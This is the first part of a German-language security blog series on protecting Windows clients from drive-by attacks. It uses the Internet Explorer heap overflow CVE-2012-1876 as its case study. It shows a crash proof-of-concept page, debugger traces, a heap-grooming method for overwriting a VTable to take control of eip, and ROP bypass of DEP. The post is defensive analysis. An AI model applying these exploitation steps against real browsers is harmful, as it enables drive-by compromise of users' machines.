Schutzmassnahmen gegen Drive-by-Attacken – Teil I


Dieser Artikel wurde von Renato Ettisberger geschrieben.

Einführung

Internet-Kriminelle nutzen „Drive-by-Angriffe“ seit längerem um Clients mit Schadcode zu infizieren, d.h. der Besuch einer infizierten Webseite reicht dazu bereits aus. Deshalb informiert SWITCH die Halter und Betreiber von infizierten Webseiten in der Schweiz und Liechtenstein und fordert sie auf, den Schadcode innert 24 Stunden zu entfernen.

Effektiver ist es jedoch, die Client-Systeme von vornherein besser vor Angriffen dieser Art zu schützen. Dies ist mit wenig Aufwand sehr wohl möglich. Anhand eines konkreten Beispiels zeigen wir in dieser Blog-Serie auf, welche Gegenmassnahmen standardmässig auf Windows-Systemen vorhanden sind und wie sie funktionieren. Im zweiten Teil gehen wir auf die Problematik der Plug-Ins ein und demonstrieren welche negativen Auswirkungen diese auf die Sicherheit eines aktuellen Windows-Systems haben können. Im abschliessenden Teil stellen wir schliesslich ein frei erhältliches Tool von Microsoft vor, das einen sehr effizienten Schutz vor Drive-by-Angriffen bieten kann.

Solche Angriffe sind für sämtliche Client-Betriebssysteme relevant: Von Windows über Mac OS X und Linux bis hin zu iOS (iPhone oder iPad) oder Android. Als Fallbeispiel für die Blog-Serie nehmen wir eine Schwachstelle in Internet Explorer 8 auf Windows XP und Windows 7. Der Grossteil des Inhaltes spricht sicherlich die Security-Spezialisten an. Im letzten Teil geben wir jedoch einfache Tipps für jedermann und zeigen, wie man seinen Windows-PC besser vor Angriffen aus dem Internet schützen kann.

Fallbeispiel: Schwachstelle in Internet Explorer

Will man die Wirksamkeit wie auch die Limitationen von Gegenmassnahmen aufzeigen, muss man dies anhand eines realen Beispiels diskutieren. Für unsere Blog-Serie nehmen wir dafür eine Schwachstelle in Internet Explorer 6-10 (CVE-2012-1876). Sie wurde von der französischen Firma VUPEN genutzt, um den Hacking-Wettbewerb „Pwn20wn“ 2012 in Vancouver für sich zu entscheiden. Ein Exploit für Windows XP, Windows Vista und Windows 7 ist in der Öffentlichkeit via Metasploit verfügbar, funktioniert aber bei Windows 7 beispielsweise nicht ohne Unterstützung externer Plug-Ins. Doch dazu mehr im zweiten Teil der Blog-Serie.

Detaillierte Informationen zur Schwachstelle sind im Blog-Post von VUPEN zu finden, unter anderem auch ein HTML-Beispiel-Code, der die Schwachstelle aufzeigt. Bei der Lücke handelt es sich um einen Heapoverflow. Vereinfacht gesagt kann ein Angreifer über einen vordefinierten Bereich hinaus Daten in den Speicher schreiben. Falls sich hinter dem vordefinierten Bereich „Management-Informationen“ befinden, die direkten Einfluss auf den weiteren Programmablauf haben, kann ein Angreifer den Programmablauf umlenken und seinen bösartigen Code ausführen.

In diesem spezifischen Fall können wir ebenfalls über einen Buffer hinausschreiben, allerdings befinden sich hinter dem Buffer keine interessanten Informationen, die sich überschreiben und somit nutzen lassen. Wir können dies mit dem folgenden HTML-Code aufzeigen:

<html>
 <head><title>Crash</title></head>
 <body>
 <script>
function crash() {
  document.getElementById("m").span="1000";
}
</script>
 <table   style='table-layout:fixed' >
 <col id="m" span="1" width="1050632" >
 <tr>
 <td></td>
 </tr>
 <tr>
 <td></td>
 </tr>
 <tr>
 <td></td>
 </tr>
 </table>
 <input type="button" id="mem" value="Trigger" onclick="crash();" />
 </body>
 </html>

Durch Klicken des Buttons „Trigger” wird der Overflow ausgelöst. Das heisst jedoch nicht, dass der Internet Explorer-Prozess auch abstürzt. Bei Heapoverflows wirkt sich der Fehler in den meisten Fällen erst sehr viel später aus – in einigen Fällen passiert gar nichts, d.h. der Browser stürzt nicht einmal ab.

Es ist deshalb entscheidend, den eigentlichen Ursprung der Schwachstelle zu identifizieren. Dazu eignet sich das Tool „gflags“. Damit können wir den Page-Heap für einen bestimmten Prozess setzen. Diese Massnahme detektiert Versuche, Daten über einen vordefinierten Speicherbereich hinauszuschreiben. Als Folge stürzt das Programm genau an der Stelle ab, an der der Speicherzugriffsfehler auftritt. Dies ist bei unserem Beispielcode zu sehen:

(82c.a94): Access violation - code c0000005 (first chance)
 First chance exceptions are reported before any exception handling.
 This exception may be expected and handled.
 eax=00000009 ebx=07070024 ecx=64323209 edx=0004b25a esi=05061000 edi=05061018
 eip=3d2c32cc esp=0336bed8 ebp=0336bee4 iopl=0         nv up ei pl nz na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
 mshtml!CTableColCalc::AdjustForCol+0x15:
 3d2c32cc 890f            mov     dword ptr [edi],ecx  ds:0023:05061018=????????

Der Wert in ecx wird an die Stelle kopiert, an die edi zeigt. Da der Page-Heap aktiviert ist, stürzt das Programm beim Versuch über einen vordefinierten Buffer hinauszuschreiben ab. Die Grösse dieses Buffers, referenziert durch edi, lässt sich wie folgt ermitteln:

0:008> !heap -p -a edi
 address 05061018 found in
 _DPH_HEAP_ROOT @ 151000
 in busy allocation (  DPH_HEAP_BLOCK: UserAddr  UserSize -  VirtAddr  VirtSize)
 4ee3978:          5060f90                       70          -  5060000  2000
 7c919c0c ntdll!RtlAllocateHeap+0x00000e64
 3cf752fa mshtml!_HeapRealloc+0x00000036
 3cf75355 mshtml!CImplAry::EnsureSizeWorker+0x000000a6

Die Grösse beträgt 70h. Dieser Wert berechnet sich aus dem Span-Ausgangswert, multipliziert mit 0x1c. Bei Span-Werten zwischen 0 und 4 ist die minimale Grösse des Buffers 70h, zumindest beim Internet Explorer 8. Beim IE9 beträgt der minimale Wert des Buffers 80h. Doch wie nutzt man diese Schwachstelle aus, wenn sich hinter dem Buffer nicht-definierbare Inhalte befinden?

Die Idee ist folgende: Wir platzieren hinter den Buffer ein Objekt. Damit schreiben wir nicht mehr in einen undefinierten Bereich, sondern wir überschreiben den Inhalt des Objektes. Ein Objekt weist als ersten Eintrag die VTable-Adresse auf. Durch Überschreiben dieser Adresse können wir auf eine von uns erstellte, gefälschte VTable zeigen. Um die Kontrolle über den Programmcode zu erlangen, müssen wir nur noch eine Funktion des Objektes aufrufen.

Doch wie können wir das Objekt hinter den Buffer platzieren? Schliesslich ist der Heap-Layout nicht vorhersehbar. Das funktioniert vereinfacht gesagt folgendermassen: Wir allozieren verschiedene JavaScript-Strings der Grösse 70h. Dann geben wir einen davon wieder frei und allozieren ein Objekt der Grösse 70h. Hier bietet sich beispielsweise das Style-Objekt an. Das Style-Objekt nimmt den freigewordenen Platz im Speicher ein. Danach geben wir wiederum einen String der Grösse 70h frei. Dieser muss sich vor dem allozierten Style-Objekt befinden. Der freigewordene Platz wird dann vom Buffer eingenommen, hinter dessen Bereich wir schreiben können. Das sieht dann etwa wie folgt aus:

1.) JavaScript-Strings der Grösse 70h allozieren

2.) Einen String freigeben und ein Style-Objekt erzeugen

3.) String vor dem Style-Objekt freigeben; Platz wird vom Buffer belegt

Im Debugger sieht das Ergebnis wie folgt aus:

0:008> dd edi l44
 02965838  64323209 88888888 88888888 88888888
 02965848  88888888 88888888 88888888 88888888
 02965858  88888888 88888888 88888888 88888888
 02965868  88888888 88888888 88888888 88888888
 02965878  88888888 88888888 88888888 88888888
 02965888  88888888 00008888 e87e284a ff080100
 02965898  3cf76508 00000002 00000008 00000000
 029658a8  00000000 10000000 00000000 00000000
 029658b8  02966fc0 00000000 00000000 00227940
 029658c8  0022c840 00000000 00000000 88888890
 029658d8  00000000 00000000 00000000 3cf6f7ec
 029658e8  00000000 00000000 00000000 3cf6f7ec
 029658f8  00000000 00000000 00000000 00000000
 02965908  e87e2879 ff080100 88888888 88888888
 02965918  88888888 88888888 88888888 88888888
 02965928  88888888 88888888 88888888 88888888
 02965938  88888888 88888888 88888888 88888888

Die Zeichenfolgen 0x88888888 stammen von den erstellten Strings. An der Adresse 0x02965898 befindet sich das Style-Objekt mit der VTable-Adresse (3cf76508) als ersten Eintrag. Nach dem Overflow sieht derselbe Speicherbereich wie folgt aus:

0:008> dd 02965838 l44
 02965838  70700248 07070024 07070024 07070024
 02965848  88888888 88888888 88888888 70700248
 02965858  07070024 07070024 07070024 88888888
 02965868  88888888 88888888 70700248 07070024
 02965878  07070024 07070024 88888888 88888888
 02965888  88888888 70700248 07070024 07070024
 02965898  07070024 00000002 00000008 00000000
 029658a8  70700248 07070024 07070024 07070024
 029658b8  02966fc0 00000000 00000000 70700248
 029658c8  07070024 07070024 07070024 88888890
 029658d8  00000000 00000000 70700248 07070024
 029658e8  07070024 07070024 00000000 3cf6f7ec
 029658f8  00000000 70700248 07070024 07070024
 02965908  07070024 ff080100 88888888 88888888
 02965918  70700248 07070024 07070024 07070024
 02965928  88888888 88888888 88888888 70700248
 02965938  07070024 07070024 07070024 88888888

Speziell in diesem Fall ist die Tatsache, das nicht alle Daten überschrieben werden. Der Wert 07070024 stammt aus dem width-Wert und ist somit unter unserer Kontrolle. Wie oben zu sehen ist, haben wir die VTable-Adresse des Style-Objektes an Adresse 0x02965898 mit diesem width-Wert überschrieben. Um die Kontrolle über den Programmablauf zu erlangen, müssen wir mittels Heapspray nur noch dafür sorgen, dass sich an der Adresse 0x07070024 unsere gefälschte VTable befindet.

0:008> t
 eax=02965898 ebx=3d3d9328 ecx=003cc498 edx=00000000 esi=02966fc0 edi=02a2b8d0
 eip=3d067a93 esp=0162d08c ebp=0162d090 iopl=0         nv up ei pl nz na po nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
 mshtml!CStyleElement::get_styleSheet+0x23:
 3d067a93 8b10            mov     edx,dword ptr [eax]  ds:0023:02965898=07070024
 0:008> dd eax
 02965898  07070024 00000002 00000008 00000000

An der Stelle befindet sich unsere gefälschte VTable, derzeit noch mit Platzhalter-Werten bestückt:

0:008> dd edx
 07070024  41414141 42424242 43434343 44444444
 07070034  45454545 46464646 47474747 48484848
 ...

Schliesslich erlangen wir damit die Kontrolle über eip und über den weiteren Programmablauf:

 0:008> r
 eax=02965898 ebx=3d3d9328 ecx=003cc498 edx=07070024 esi=02966fc0 edi=02a2b8d0
 eip=3d067a9c esp=0162d080 ebp=0162d090 iopl=0         nv up ei pl nz na po nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
 mshtml!CStyleElement::get_styleSheet+0x2c:
 3d067a9c ff92d8000000    call    dword ptr [edx+0D8h] ds:0023:07070024=61616161
 0:008> dd edx+d8
 07070024  61616161 62626262 63636363 64646464

Windows XP mit IE8

Wir untersuchen die Schwachstelle als erstes auf Windows XP mit IE8. Relevant ist die Frage, ob und welche Gegenmassnahmen bereits standardmässig bei diesem System-Setup vorhanden sind, die einen Angriff verhindern oder zumindest erschweren. Bei Windows-Systemen sind der „Protected Mode“ und „DEP“ (Data Execution Prevention) speziell erwähnenswert:

Protected Mode

Der „Protected Mode“ verhindert oder erschwert den eigentlichen Angriff nicht, schränkt einen Angreifer jedoch in seinen Möglichkeiten ein. Vereinfacht gesagt hat er nur in vordefinierten Verzeichnissen Schreibrechte, d.h. die nachgeladene Schadsoftware kann sich nicht dauerhaft auf dem System festsetzen. Der Angreifer kann aber auf beinahe alle Dateien zugreifen und diese vom Zielsystem kopieren. Falls er zudem eine weitere Schwachstelle kennt, mit der er aus dem „Protected Mode“ ausbrechen kann, ist die vollständige Kontrolle über das System möglich.

Der „Protected Mode“ wird erst ab Windows Vista unterstützt. Somit kann sich ein Angreifer mittels eines Drive-by-Angriffs permanent auf einem Windows XP-System festsetzen.

DEP

Im Gegensatz zum „Protected Mode“ versucht DEP den Angriff selber zu verhindern. Dabei werden Speicherbereiche als nicht ausführbar markiert, mit dem Ziel, dass der vom Angreifer eingeschleuste Code nicht zur Ausführung gelangt. DEP lässt sich jedoch relativ einfach umgehen, indem der Angreifer in einem ersten Schritt Code ausführt, der sich bereits im Speicher befindet. Dieser Code stammt aus verschiedenen DLLs, die grundlegende Funktionen anbieten und bei jeder Applikation automatisch in den Speicher geladen werden. Beispiele von DLLs sind kernel32.dll, jscript.dll oder mshtml.dll. Bei Windows XP befinden sich diese DLLs an einer vorhersehbaren Adresse. Dies kann sich ein Angreifer zunutze machen und daraus Code-Sequenzen zusammenstellen, mit denen er entweder DEP deaktiviert oder einen neuen Speicherbereich als ausführbar konfiguriert. In den neuen Speicherbereich lädt er dann seinen eigentlichen Schadcode und führt diesen anschliessend aus.

Dieses Vorgehen nennt man „Return-Oriented Programming“ oder ROP. Dabei sucht man in einer oder mehreren DLLs nach brauchbaren Assembler-Anweisungen, auch ROP-Gadgets genannt, die von einem Return (Retn) gefolgt werden. Bei einem Return springt der Prozessor an diejenige Adresse, auf die der Stackpointer (esp) zeigt. Da der Angreifer mittels ROP den Stack-Inhalt kontrolliert, kann er so verschiedene Assembler-Anweisungen hintereinander ausführen. Das folgende Bild zeigt diesen Ansatz anhand des Metasploit-Modules für diese Schwachstelle:

Hier werden fixe Adressen aus der DLL msvcrt.dll verwendet. Damit wird die Funktion VirtualProtect() aufgerufen, die den Shellcode-Bereich als ausführbar markiert (rwx). Dieser Ansatz funktioniert zuverlässig für ein bestimmtes Windows XP-Setup, abhängig von der Sprache und dem Service-Pack-Level.

Das folgende Video zeigt, wie die Schwachstelle ausgenutzt werden kann indem zur Demonstration der Calculator gestartet wird. In der Realität würden die Angreifer natürlich nicht den Calculator starten, sondern im Hintergrund die Schad-Software installieren.

Fazit und Ausblick auf den nächsten Teil

In diesem Teil der Serie haben wir gesehen, welche Schutzmassnahmen bei Windows XP vorhanden sind und wie einfach jemand diese Massnahmen mit bekannten Methoden umgehen kann. Es wird somit klar, dass ein älteres Betriebssystem wie Windows XP und die dort implementierten Gegenmassnahmen keine grossen Hürden für einen Angreifer darstellen.

Im nächsten Teil zeigen wir auf, welche zusätzlichen Schutzmassnahmen bei Windows Vista und Windows 7 eingeführt wurden und wie wirkungsvoll diese sind. Wir werden aber auch sehen, dass man diese Massnahmen unter bestimmten Bedingungen trotzdem wieder aushebeln kann.